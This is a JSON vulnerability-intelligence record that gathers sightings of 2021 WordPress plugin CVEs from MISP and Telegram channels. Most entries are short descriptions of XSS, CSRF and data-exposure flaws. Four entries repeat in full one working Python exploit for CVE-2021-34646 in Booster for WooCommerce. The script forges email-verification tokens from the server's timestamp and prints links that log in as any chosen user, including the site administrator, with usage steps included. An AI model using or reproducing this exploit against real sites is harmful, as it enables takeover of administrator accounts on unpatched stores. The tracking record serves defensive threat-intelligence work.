{"vulnerability": "CVE-2021-3464", "sightings": [{"uuid": "0e596e6b-22db-429d-9831-ae5a1cf43a61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:12:48.000000Z"}, {"uuid": "f9d57301-50f4-481d-9d8c-edd4c8c013ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:01:08.000000Z"}, {"uuid": "db84befd-e838-4d09-8c82-b9f7820605b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/512", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-34646 PoC\nURL\uff1ahttps://github.com/motikan2010/CVE-2021-34646", "creation_timestamp": "2021-09-04T14:29:16.000000Z"}, {"uuid": "389d7362-b34e-46a0-99ed-1afdda58d75e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34648", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9735", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2021-34648\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Ninja Forms WordPress plugin is vulnerable to arbitrary email sending via the trigger_email_action function found in the ~/includes/Routes/Submissions.php file, in versions up to and including 3.5.7. This allows authenticated attackers to send arbitrary emails from the affected server via the /ninja-forms-submissions/email-action REST API which can be used to socially engineer victims.\n\ud83d\udccf Published: 2021-09-22T17:53:11.689Z\n\ud83d\udccf Modified: 2025-03-31T18:20:03.844Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/blog/2021/09/recently-patched-vulnerabilities-in-ninja-forms-plugin-affects-over-1-million-site-owners/\n2. https://plugins.trac.wordpress.org/browser/ninja-forms/trunk/includes/Routes/Submissions.php?rev=2543837#L155", "creation_timestamp": "2025-03-31T18:32:13.000000Z"}, {"uuid": "570e19a3-b6b7-4f9f-be19-317042143ee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34640", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17463", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2021-34640\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Securimage-WP-Fixed WordPress plugin is vulnerable to Reflected Cross-Site Scripting due to the use of $_SERVER['PHP_SELF'] in the ~/securimage-wp.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 3.5.4.\n\ud83d\udccf Published: 2021-08-11T15:00:01.135Z\n\ud83d\udccf Modified: 2025-05-23T20:10:32.777Z\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/browser/securimage-wp-fixed/trunk/securimage-wp.php#L628\n2. https://www.wordfence.com/vulnerability-advisories/#CVE-2021-34640", "creation_timestamp": "2025-05-23T20:46:45.000000Z"}, {"uuid": "6adef24f-899c-423a-89c1-d26c8da13c80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "seen", "source": "https://t.me/cibsecurity/28026", "content": "\u203c CVE-2021-34646 \u203c\n\nVersions up to, and including, 5.4.3, of the Booster for WooCommerce WordPress plugin are vulnerable to authentication bypass via the process_email_verification function due to a random token generation weakness in the reset_and_mail_activation_link function found in the ~/includes/class-wcj-emails-verification.php file. This allows attackers to impersonate users and trigger an email address verification for arbitrary accounts, including administrative accounts, and automatically be logged in as that user, including any site administrators. This requires the Email Verification module to be active in the plugin and the Login User After Successful Verification setting to be enabled, which it is by default.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-30T22:32:40.000000Z"}, {"uuid": "62dd3988-75bc-4c36-b144-385eb0cb5ed4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34648", "type": "seen", "source": "https://t.me/cibsecurity/29248", "content": "\u203c CVE-2021-34648 \u203c\n\nThe Ninja Forms WordPress plugin is vulnerable to arbitrary email sending via the trigger_email_action function found in the ~/includes/Routes/Submissions.php file, in versions up to and including 3.5.7. This allows authenticated attackers to send arbitrary emails from the affected server via the /ninja-forms-submissions/email-action REST API which can be used to socially engineer victims.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-22T22:29:06.000000Z"}, {"uuid": "5158c349-b90d-4859-a31d-5579da712a92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34647", "type": "seen", "source": "https://t.me/cibsecurity/29247", "content": "\u203c CVE-2021-34647 \u203c\n\nThe Ninja Forms WordPress plugin is vulnerable to sensitive information disclosure via the bulk_export_submissions function found in the ~/includes/Routes/Submissions.php file, in versions up to and including 3.5.7. This allows authenticated attackers to export all Ninja Forms submissions data via the /ninja-forms-submissions/export REST API which can include personally identifiable information.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-22T22:29:05.000000Z"}, {"uuid": "f86b32a2-7669-40d3-bf10-c8bd37a39837", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34640", "type": "seen", "source": "https://t.me/cibsecurity/27158", "content": "\u203c CVE-2021-34640 \u203c\n\nThe Securimage-WP-Fixed WordPress plugin is vulnerable to Reflected Cross-Site Scripting due to the use of $_SERVER['PHP_SELF'] in the ~/securimage-wp.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 3.5.4.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-11T18:38:26.000000Z"}, {"uuid": "a622677b-1c80-4243-874b-107a17ceffa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34645", "type": "seen", "source": "https://t.me/cibsecurity/27614", "content": "\u203c CVE-2021-34645 \u203c\n\nThe Shopping Cart & eCommerce Store WordPress plugin is vulnerable to Cross-Site Request Forgery via the save_currency_settings function found in the ~/admin/inc/wp_easycart_admin_initial_setup.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 5.1.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-19T20:18:25.000000Z"}, {"uuid": "357da235-2226-46b2-aa8c-bb87862a3d59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34644", "type": "seen", "source": "https://t.me/cibsecurity/27393", "content": "\u203c CVE-2021-34644 \u203c\n\nThe Multiplayer Games WordPress plugin is vulnerable to Reflected Cross-Site Scripting due to the use of $_SERVER['PHP_SELF'] in the ~/multiplayergames.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 3.7.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-16T22:14:51.000000Z"}, {"uuid": "51178869-8f79-49a5-b323-c96efdd21549", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34649", "type": "seen", "source": "https://t.me/cibsecurity/27392", "content": "\u203c CVE-2021-34649 \u203c\n\nThe Simple Behance Portfolio WordPress plugin is vulnerable to Reflected Cross-Site Scripting via the `dark` parameter in the ~/titan-framework/iframe-font-preview.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 0.2.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-16T22:14:50.000000Z"}, {"uuid": "79bcacb3-c100-4d14-a570-b2b81cc2927f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34641", "type": "seen", "source": "https://t.me/cibsecurity/27403", "content": "\u203c CVE-2021-34641 \u203c\n\nThe SEOPress WordPress plugin is vulnerable to Stored Cross-Site-Scripting via the processPut function found in the ~/src/Actions/Api/TitleDescriptionMeta.php file which allows authenticated attackers to inject arbitrary web scripts, in versions 5.0.0 - 5.0.3.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-16T22:15:01.000000Z"}, {"uuid": "54e5d8cb-8675-449e-ac95-6076b1a9f840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "seen", "source": "https://t.me/hacking_Attack/24014", "content": "Exploit CollectorWordPress WooCommerce Booster 5.4.3 Authentication Bypass \n\n\nWordPress WooCommerce Booster plugin version 5.4.3 suffers from an authentication bypass vulnerability.\n\nMD5 | 37a02e12c72652ac4ee9bb16b94742a8\n\nDownload\n\n\n\n# Exploit Title: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass\n# Date: 2021-09-16\n# Exploit Author: Sebastian Kriesten (0xB455)\n# Contact: https://twitter.com/0xB455\n#\n# Affected Plugin: Booster for WooCommerce\n# Plugin Slug: woocommerce-jetpack\n# Vulnerability disclosure: https://www.wordfence.com/blog/2021/08/critical=-authentication-bypass-vulnerability-patched-in-booster-for-woocommerce/\n# Affected Versions: <= 5.4.3\n# Fully Patched Version: >= 5.4.4\n# CVE: CVE-2021-34646\n# CVSS Score: 9.8 (Critical)\n# Category: webapps\n#\n# 1:\n# Goto: https://target.com/wp-json/wp/v2/users/\n# Pick a user-ID (e.g. 1 - usualy is the admin)\n#\n# 2:\n# Attack with: ./exploit_CVE-2021-34646.py https://target.com/ 1\n#\n# 3:\n# Check-Out  out which of the generated links allows you to access the system\n#\nimport requests,sys,hashlib\nimport argparse\nimport datetime\nimport email.utils\nimport calendar\nimport base64\n\nB = \"\\033[94m\"\nW = \"\\033[97m\"\nR = \"\\033[91m\"\nRST = \"\\033[0;0m\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"url\", help=\"the base url\")\nparser.add_argument('id', type=int, help='the user id', default=1)\nargs = parser.parse_args()\nid = str(args.id)\nurl = args.url\nif args.url[-1] != \"/\": # URL needs trailing /\nurl = url + \"/\"\n\nverify_url= url + \"?wcj_user_id=\" + id\nr = requests.get(verify_url)\n\nif r.status_code != 200:\nprint(\"status code != 200\")\nprint(r.headers)\nsys.exit(-1)\n\ndef email_time_to_timestamp(s):\ntt = email.utils.parsedate_tz(s)\nif tt is None: return None\nreturn calendar.timegm(tt) - tt[9]\n\ndate = r.headers[\"Date\"]\nunix = email_time_to_timestamp(date)\n\ndef printBanner():\nprint(f\"{W}Timestamp: {B}\" + date)\nprint(f\"{W}Timestamp (unix): {B}\" + str(unix) + f\"{W}\\n\")\nprint(\"We need to generate multiple timestamps in order to avoid delay related timing errors\")\nprint(\"One of the following links will log you in...\\n\")\n\nprintBanner()\n\n\n\nfor i in range(3): # We need to try multiple timestamps as we don't get the exact hash time and need to avoid delay related timing errors\nhash = hashlib.md5(str(unix-i).encode()).hexdigest()\nprint(f\"{W}#\" + str(i) + f\" link for hash {R}\"+hash+f\"{W}:\")\ntoken='{\"id\":\"'+ id +'\",\"code\":\"'+hash+'\"}'\ntoken = base64.b64encode(token.encode()).decode()\ntoken = token.rstrip(\"=\") # remove trailing =\nlink = url+\"my-account/?wcj_verify_email=\"+token\nprint(link + f\"\\n{RST}\")\n\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:22.713503Z"}, {"uuid": "79d53838-b680-4618-ad21-22ecd613f347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "seen", "source": "https://t.me/hacking_Attack/24014", "content": "Exploit CollectorWordPress WooCommerce Booster 5.4.3 Authentication Bypass \n\n\nWordPress WooCommerce Booster plugin version 5.4.3 suffers from an authentication bypass vulnerability.\n\nMD5 | 37a02e12c72652ac4ee9bb16b94742a8\n\nDownload\n\n\n\n# Exploit Title: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass\n# Date: 2021-09-16\n# Exploit Author: Sebastian Kriesten (0xB455)\n# Contact: https://twitter.com/0xB455\n#\n# Affected Plugin: Booster for WooCommerce\n# Plugin Slug: woocommerce-jetpack\n# Vulnerability disclosure: https://www.wordfence.com/blog/2021/08/critical=-authentication-bypass-vulnerability-patched-in-booster-for-woocommerce/\n# Affected Versions: <= 5.4.3\n# Fully Patched Version: >= 5.4.4\n# CVE: CVE-2021-34646\n# CVSS Score: 9.8 (Critical)\n# Category: webapps\n#\n# 1:\n# Goto: https://target.com/wp-json/wp/v2/users/\n# Pick a user-ID (e.g. 1 - usualy is the admin)\n#\n# 2:\n# Attack with: ./exploit_CVE-2021-34646.py https://target.com/ 1\n#\n# 3:\n# Check-Out  out which of the generated links allows you to access the system\n#\nimport requests,sys,hashlib\nimport argparse\nimport datetime\nimport email.utils\nimport calendar\nimport base64\n\nB = \"\\033[94m\"\nW = \"\\033[97m\"\nR = \"\\033[91m\"\nRST = \"\\033[0;0m\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"url\", help=\"the base url\")\nparser.add_argument('id', type=int, help='the user id', default=1)\nargs = parser.parse_args()\nid = str(args.id)\nurl = args.url\nif args.url[-1] != \"/\": # URL needs trailing /\nurl = url + \"/\"\n\nverify_url= url + \"?wcj_user_id=\" + id\nr = requests.get(verify_url)\n\nif r.status_code != 200:\nprint(\"status code != 200\")\nprint(r.headers)\nsys.exit(-1)\n\ndef email_time_to_timestamp(s):\ntt = email.utils.parsedate_tz(s)\nif tt is None: return None\nreturn calendar.timegm(tt) - tt[9]\n\ndate = r.headers[\"Date\"]\nunix = email_time_to_timestamp(date)\n\ndef printBanner():\nprint(f\"{W}Timestamp: {B}\" + date)\nprint(f\"{W}Timestamp (unix): {B}\" + str(unix) + f\"{W}\\n\")\nprint(\"We need to generate multiple timestamps in order to avoid delay related timing errors\")\nprint(\"One of the following links will log you in...\\n\")\n\nprintBanner()\n\n\n\nfor i in range(3): # We need to try multiple timestamps as we don't get the exact hash time and need to avoid delay related timing errors\nhash = hashlib.md5(str(unix-i).encode()).hexdigest()\nprint(f\"{W}#\" + str(i) + f\" link for hash {R}\"+hash+f\"{W}:\")\ntoken='{\"id\":\"'+ id +'\",\"code\":\"'+hash+'\"}'\ntoken = base64.b64encode(token.encode()).decode()\ntoken = token.rstrip(\"=\") # remove trailing =\nlink = url+\"my-account/?wcj_verify_email=\"+token\nprint(link + f\"\\n{RST}\")\n\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:52.741917Z"}, {"uuid": "07da409d-edf0-4b3c-acc4-90722b159ae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/24014", "content": "Exploit CollectorWordPress WooCommerce Booster 5.4.3 Authentication Bypass \n\n\nWordPress WooCommerce Booster plugin version 5.4.3 suffers from an authentication bypass vulnerability.\n\nMD5 | 37a02e12c72652ac4ee9bb16b94742a8\n\nDownload\n\n\n\n# Exploit Title: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass\n# Date: 2021-09-16\n# Exploit Author: Sebastian Kriesten (0xB455)\n# Contact: https://twitter.com/0xB455\n#\n# Affected Plugin: Booster for WooCommerce\n# Plugin Slug: woocommerce-jetpack\n# Vulnerability disclosure: https://www.wordfence.com/blog/2021/08/critical=-authentication-bypass-vulnerability-patched-in-booster-for-woocommerce/\n# Affected Versions: <= 5.4.3\n# Fully Patched Version: >= 5.4.4\n# CVE: CVE-2021-34646\n# CVSS Score: 9.8 (Critical)\n# Category: webapps\n#\n# 1:\n# Goto: https://target.com/wp-json/wp/v2/users/\n# Pick a user-ID (e.g. 1 - usualy is the admin)\n#\n# 2:\n# Attack with: ./exploit_CVE-2021-34646.py https://target.com/ 1\n#\n# 3:\n# Check-Out  out which of the generated links allows you to access the system\n#\nimport requests,sys,hashlib\nimport argparse\nimport datetime\nimport email.utils\nimport calendar\nimport base64\n\nB = \"\\033[94m\"\nW = \"\\033[97m\"\nR = \"\\033[91m\"\nRST = \"\\033[0;0m\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"url\", help=\"the base url\")\nparser.add_argument('id', type=int, help='the user id', default=1)\nargs = parser.parse_args()\nid = str(args.id)\nurl = args.url\nif args.url[-1] != \"/\": # URL needs trailing /\nurl = url + \"/\"\n\nverify_url= url + \"?wcj_user_id=\" + id\nr = requests.get(verify_url)\n\nif r.status_code != 200:\nprint(\"status code != 200\")\nprint(r.headers)\nsys.exit(-1)\n\ndef email_time_to_timestamp(s):\ntt = email.utils.parsedate_tz(s)\nif tt is None: return None\nreturn calendar.timegm(tt) - tt[9]\n\ndate = r.headers[\"Date\"]\nunix = email_time_to_timestamp(date)\n\ndef printBanner():\nprint(f\"{W}Timestamp: {B}\" + date)\nprint(f\"{W}Timestamp (unix): {B}\" + str(unix) + f\"{W}\\n\")\nprint(\"We need to generate multiple timestamps in order to avoid delay related timing errors\")\nprint(\"One of the following links will log you in...\\n\")\n\nprintBanner()\n\n\n\nfor i in range(3): # We need to try multiple timestamps as we don't get the exact hash time and need to avoid delay related timing errors\nhash = hashlib.md5(str(unix-i).encode()).hexdigest()\nprint(f\"{W}#\" + str(i) + f\" link for hash {R}\"+hash+f\"{W}:\")\ntoken='{\"id\":\"'+ id +'\",\"code\":\"'+hash+'\"}'\ntoken = base64.b64encode(token.encode()).decode()\ntoken = token.rstrip(\"=\") # remove trailing =\nlink = url+\"my-account/?wcj_verify_email=\"+token\nprint(link + f\"\\n{RST}\")\n\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T15:00:06.295468Z"}, {"uuid": "1e7e625e-22d4-4fee-9334-db16f2682129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/24014", "content": "Exploit CollectorWordPress WooCommerce Booster 5.4.3 Authentication Bypass \n\n\nWordPress WooCommerce Booster plugin version 5.4.3 suffers from an authentication bypass vulnerability.\n\nMD5 | 37a02e12c72652ac4ee9bb16b94742a8\n\nDownload\n\n\n\n# Exploit Title: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass\n# Date: 2021-09-16\n# Exploit Author: Sebastian Kriesten (0xB455)\n# Contact: https://twitter.com/0xB455\n#\n# Affected Plugin: Booster for WooCommerce\n# Plugin Slug: woocommerce-jetpack\n# Vulnerability disclosure: https://www.wordfence.com/blog/2021/08/critical=-authentication-bypass-vulnerability-patched-in-booster-for-woocommerce/\n# Affected Versions: <= 5.4.3\n# Fully Patched Version: >= 5.4.4\n# CVE: CVE-2021-34646\n# CVSS Score: 9.8 (Critical)\n# Category: webapps\n#\n# 1:\n# Goto: https://target.com/wp-json/wp/v2/users/\n# Pick a user-ID (e.g. 1 - usualy is the admin)\n#\n# 2:\n# Attack with: ./exploit_CVE-2021-34646.py https://target.com/ 1\n#\n# 3:\n# Check-Out  out which of the generated links allows you to access the system\n#\nimport requests,sys,hashlib\nimport argparse\nimport datetime\nimport email.utils\nimport calendar\nimport base64\n\nB = \"\\033[94m\"\nW = \"\\033[97m\"\nR = \"\\033[91m\"\nRST = \"\\033[0;0m\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"url\", help=\"the base url\")\nparser.add_argument('id', type=int, help='the user id', default=1)\nargs = parser.parse_args()\nid = str(args.id)\nurl = args.url\nif args.url[-1] != \"/\": # URL needs trailing /\nurl = url + \"/\"\n\nverify_url= url + \"?wcj_user_id=\" + id\nr = requests.get(verify_url)\n\nif r.status_code != 200:\nprint(\"status code != 200\")\nprint(r.headers)\nsys.exit(-1)\n\ndef email_time_to_timestamp(s):\ntt = email.utils.parsedate_tz(s)\nif tt is None: return None\nreturn calendar.timegm(tt) - tt[9]\n\ndate = r.headers[\"Date\"]\nunix = email_time_to_timestamp(date)\n\ndef printBanner():\nprint(f\"{W}Timestamp: {B}\" + date)\nprint(f\"{W}Timestamp (unix): {B}\" + str(unix) + f\"{W}\\n\")\nprint(\"We need to generate multiple timestamps in order to avoid delay related timing errors\")\nprint(\"One of the following links will log you in...\\n\")\n\nprintBanner()\n\n\n\nfor i in range(3): # We need to try multiple timestamps as we don't get the exact hash time and need to avoid delay related timing errors\nhash = hashlib.md5(str(unix-i).encode()).hexdigest()\nprint(f\"{W}#\" + str(i) + f\" link for hash {R}\"+hash+f\"{W}:\")\ntoken='{\"id\":\"'+ id +'\",\"code\":\"'+hash+'\"}'\ntoken = base64.b64encode(token.encode()).decode()\ntoken = token.rstrip(\"=\") # remove trailing =\nlink = url+\"my-account/?wcj_verify_email=\"+token\nprint(link + f\"\\n{RST}\")\n\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:41.852570Z"}, {"uuid": "4670bd12-3037-46d1-95d1-39a19037d3b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "seen", "source": "Telegram/HpvRlDBORm0kLsO1zg2R5Kugqpwi6YO_LawI6LgE5lPyRWI", "content": "", "creation_timestamp": "2026-09-14T03:00:06.049579Z"}, {"uuid": "77c549cd-e014-479b-a6c0-5f6e127d114b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "published-proof-of-concept", "source": "Telegram/HpvRlDBORm0kLsO1zg2R5Kugqpwi6YO_LawI6LgE5lPyRWI", "content": "", "creation_timestamp": "2026-09-15T00:00:31.000733Z"}]}